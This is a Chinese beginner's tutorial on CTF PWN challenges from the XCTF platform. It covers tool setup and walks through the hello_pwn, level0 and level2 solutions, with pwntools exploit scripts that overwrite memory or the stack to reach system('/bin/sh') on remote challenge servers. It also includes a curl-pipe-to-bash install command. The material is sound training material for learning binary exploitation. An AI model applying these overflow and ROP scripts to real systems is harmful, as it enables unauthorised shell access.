1. 初识CTF PWN从砰的一声开始第一次听说PWN这个词时我还以为是什么游戏术语。后来才知道这个词源自黑客圈的行话模拟的是系统被攻破时砰的声响。在CTF比赛中PWN题型就是通过分析二进制程序的漏洞编写利用代码(EXP)来获取系统控制权。记得我第一次在XCTF平台看到PWN题时面对那一堆汇编代码和内存地址整个人都是懵的。PWN题通常运行在Linux环境下我们需要通过逆向分析找到漏洞点然后用Python编写攻击脚本。常见的漏洞类型包括栈溢出向固定大小的栈缓冲区写入超长数据堆溢出操作堆内存时超出分配的空间格式化字符串漏洞利用printf等函数的不当使用整数溢出数值计算超出变量存储范围新手建议从攻防世界(XCTF)平台的入门题开始比如著名的level0和hello_pwn。这些题目设计精巧既包含了基础漏洞类型又不会太过复杂。2. 环境搭建工欲善其事刚开始玩PWN时我在环境配置上就栽了跟头。建议大家直接使用Linux系统推荐Kali或Ubuntu。Windows用户可以用WSL但某些工具可能兼容性不佳。必备工具清单pwntoolsPython编写的漏洞利用框架IDA Pro/Ghidra反汇编和逆向分析GDB动态调试工具checksec检查程序保护机制ROPgadget查找ROP链的工具安装pwntools时有个小技巧pip install pwntools # 如果报错可以尝试 apt-get update apt-get install python3-pip pip install --upgrade pip配置GDB增强功能也很重要推荐使用peda或gef# 安装gef bash -c $(curl -fsSL https://gef.blah.cat/sh)3. 第一个PWN题hello_pwn详解让我们以XCTF的hello_pwn为例手把手完成一次完整的PWN实战。3.1 初步分析首先下载题目附件用file命令查看文件类型file hello_pwn # 输出ELF 64-bit LSB executable, x86-64...用checksec检查保护机制checksec --filehello_pwn结果显示只开启了NX保护意味着栈上的数据不可执行。3.2 逆向分析用IDA打开程序查看main函数伪代码int __cdecl main(int argc, const char **argv, const char **envp) { setbuf(stdout, 0LL); puts(Welcome to XCTF!); puts(Lets pwn it!); read(0, unk_601068, 0x10uLL); if ( dword_60106C 1853186401 ) sub_400686(); return 0; }关键点分析程序读取用户输入到地址0x601068检查0x60106C处的值是否为1853186401(0x6E756161)如果条件满足调用sub_400686函数继续分析sub_400686void sub_400686() { system(cat flag.txt); }3.3 漏洞利用观察内存布局unk_601068和dword_60106C都位于.bss段两者地址相差4字节(0x60106C - 0x601068 4)read函数允许输入16字节(0x10)这意味着我们可以输入4字节填充unk_601068接着写入1853186401覆盖dword_60106C3.4 EXP编写使用pwntools编写攻击脚本from pwn import * context.log_level debug # 本地测试 # p process(./hello_pwn) # 远程连接 p remote(111.200.241.244, 65238) payload bA*4 p64(1853186401) p.sendlineafter(bLet\s pwn it!\n, payload) p.interactive()关键点说明p64()将整数打包为64位小端序字节sendlineafter确保在正确时机发送payloadinteractive()进入交互模式查看flag4. 栈溢出实战level0解题指南4.1 题目分析检查保护机制checksec level0结果显示是64位程序只开启了NX保护。IDA分析main函数int __cdecl main(int argc, const char **argv, const char **envp) { write(1, Hello, World\n, 0xDuLL); vulnerable_function(); return 0; }vulnerable_function存在明显的栈溢出ssize_t vulnerable_function() { char buf[128]; // [rsp0h] [rbp-80h] return read(0, buf, 0x200uLL); }4.2 寻找后门在字符串窗口发现/bin/sh跟踪发现callsystem函数int callsystem() { return system(/bin/sh); }4.3 构造ROP链计算偏移量buf起始于rbp-0x80需要覆盖0x80字节到rbp再覆盖8字节rbp本身最后覆盖返回地址EXP脚本from pwn import * context(archamd64, oslinux) p remote(111.200.241.244, 54800) elf ELF(./level0) callsystem elf.symbols[callsystem] payload bA*0x80 bB*8 p64(callsystem) p.sendline(payload) p.interactive()5. 进阶技巧ROP与内存泄露当程序没有现成的后门函数时我们需要使用更高级的技巧。以level2为例5.1 题目分析32位程序开启了NX保护。vulnerable_function存在栈溢出ssize_t vulnerable_function() { char buf[136]; // [esp0h] [ebp-88h] return read(0, buf, 0x100u); }5.2 利用思路程序中有system和/bin/sh字符串但没有直接调用。我们需要覆盖返回地址为system函数构造伪栈帧将/bin/sh地址作为参数5.3 EXP编写from pwn import * p remote(111.200.241.244, 51837) elf ELF(./level2) system elf.plt[system] binsh next(elf.search(b/bin/sh)) payload bA*140 # 填充到返回地址 payload p32(system) # 返回地址 payload p32(0xdeadbeef) # 伪造返回地址 payload p32(binsh) # 参数 p.sendlineafter(bInput:, payload) p.interactive()6. 常见问题与调试技巧新手常遇到的坑偏移量计算错误使用cyclic工具生成模式字符串字节序问题牢记小端序存储环境差异本地和远程的libc版本可能不同调试技巧# GDB调试 gdb ./pwn_program break *0x400123 run input.txt # 查看内存 x/20wx $esp x/s 0x804a000 # 查看寄存器 info registerspwntools调试context.log_level debug gdb.attach(p, break *0x400123\ncontinue)记住PWN是一个需要大量实践的领域。每个题目都是独特的但解题思路往往相通。从简单的栈溢出开始逐步挑战更复杂的漏洞类型你会慢慢体会到二进制安全的魅力。